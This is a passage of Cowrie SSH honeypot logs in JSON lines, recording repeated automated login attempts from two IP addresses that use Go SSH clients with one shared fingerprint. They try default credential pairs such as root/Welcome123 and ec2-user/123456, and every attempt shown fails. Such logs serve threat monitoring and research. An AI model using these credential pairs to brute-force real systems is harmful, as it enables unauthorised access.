-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:37.975789Z","src_ip":"91.92.42.227","session":"586cac761c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48340,"dst_ip":"10.17.0.5","dst_port":22,"session":"97564da9cfbb","protocol":"ssh","message":"New connection: 45.156.87.147:48340 (10.17.0.5:22) [session: 97564da9cfbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:38.190841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:38.195456Z","src_ip":"45.156.87.147","session":"97564da9cfbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:38.277617Z","src_ip":"45.156.87.147","session":"97564da9cfbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:38.536031Z","src_ip":"45.156.87.147","session":"97564da9cfbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:39.620909Z","src_ip":"45.156.87.147","session":"97564da9cfbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:39.898815Z","src_ip":"91.92.42.227","session":"586cac761c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:41.832993Z","src_ip":"91.92.42.227","session":"586cac761c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36526,"dst_ip":"10.17.0.5","dst_port":22,"session":"60378eee9a47","protocol":"ssh","message":"New connection: 91.92.42.227:36526 (10.17.0.5:22) [session: 60378eee9a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.228832Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f344c2822c80","protocol":"ssh","message":"New connection: 45.156.87.147:59034 (10.17.0.5:22) [session: f344c2822c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.560798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.567282Z","src_ip":"45.156.87.147","session":"f344c2822c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.649455Z","src_ip":"45.156.87.147","session":"f344c2822c80","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.665649Z","src_ip":"91.92.42.227","session":"60378eee9a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.669181Z","src_ip":"91.92.42.227","session":"60378eee9a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:44.900508Z","src_ip":"45.156.87.147","session":"f344c2822c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:45.984891Z","src_ip":"45.156.87.147","session":"f344c2822c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:47.416411Z","src_ip":"91.92.42.227","session":"60378eee9a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:49.205489Z","src_ip":"91.92.42.227","session":"60378eee9a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35304,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5e1cc4030f","protocol":"ssh","message":"New connection: 45.156.87.147:35304 (10.17.0.5:22) [session: 8f5e1cc4030f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:50.684477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:50.690784Z","src_ip":"45.156.87.147","session":"8f5e1cc4030f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:50.772345Z","src_ip":"45.156.87.147","session":"8f5e1cc4030f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37540,"dst_ip":"10.17.0.5","dst_port":22,"session":"492c85b2bc62","protocol":"ssh","message":"New connection: 91.92.42.227:37540 (10.17.0.5:22) [session: 492c85b2bc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:50.805078Z"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:51.140914Z","src_ip":"45.156.87.147","session":"8f5e1cc4030f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:51.369424Z","src_ip":"91.92.42.227","session":"492c85b2bc62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:51.372643Z","src_ip":"91.92.42.227","session":"492c85b2bc62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:52.226325Z","src_ip":"45.156.87.147","session":"8f5e1cc4030f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:54.814075Z","src_ip":"91.92.42.227","session":"492c85b2bc62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:56.513367Z","src_ip":"91.92.42.227","session":"492c85b2bc62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35316,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c221137b29","protocol":"ssh","message":"New connection: 45.156.87.147:35316 (10.17.0.5:22) [session: a7c221137b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:57.111286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:57.119025Z","src_ip":"45.156.87.147","session":"a7c221137b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:57.206405Z","src_ip":"45.156.87.147","session":"a7c221137b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:57.455302Z","src_ip":"45.156.87.147","session":"a7c221137b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55230,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e08d3e629d","protocol":"ssh","message":"New connection: 91.92.42.227:55230 (10.17.0.5:22) [session: 01e08d3e629d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:57.686893Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:58.542511Z","src_ip":"45.156.87.147","session":"a7c221137b29","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:58.673568Z","src_ip":"91.92.42.227","session":"01e08d3e629d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:58.677430Z","src_ip":"91.92.42.227","session":"01e08d3e629d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:01.325229Z","src_ip":"91.92.42.227","session":"01e08d3e629d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:02.870518Z","src_ip":"91.92.42.227","session":"01e08d3e629d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60832,"dst_ip":"10.17.0.5","dst_port":22,"session":"c821809b4d90","protocol":"ssh","message":"New connection: 45.156.87.147:60832 (10.17.0.5:22) [session: c821809b4d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:03.214890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:03.222301Z","src_ip":"45.156.87.147","session":"c821809b4d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:03.306723Z","src_ip":"45.156.87.147","session":"c821809b4d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:03.563626Z","src_ip":"45.156.87.147","session":"c821809b4d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55246,"dst_ip":"10.17.0.5","dst_port":22,"session":"d463026d181b","protocol":"ssh","message":"New connection: 91.92.42.227:55246 (10.17.0.5:22) [session: d463026d181b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:04.553585Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:04.655553Z","src_ip":"45.156.87.147","session":"c821809b4d90","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:05.104728Z","src_ip":"91.92.42.227","session":"d463026d181b","protocol":"ssh"}
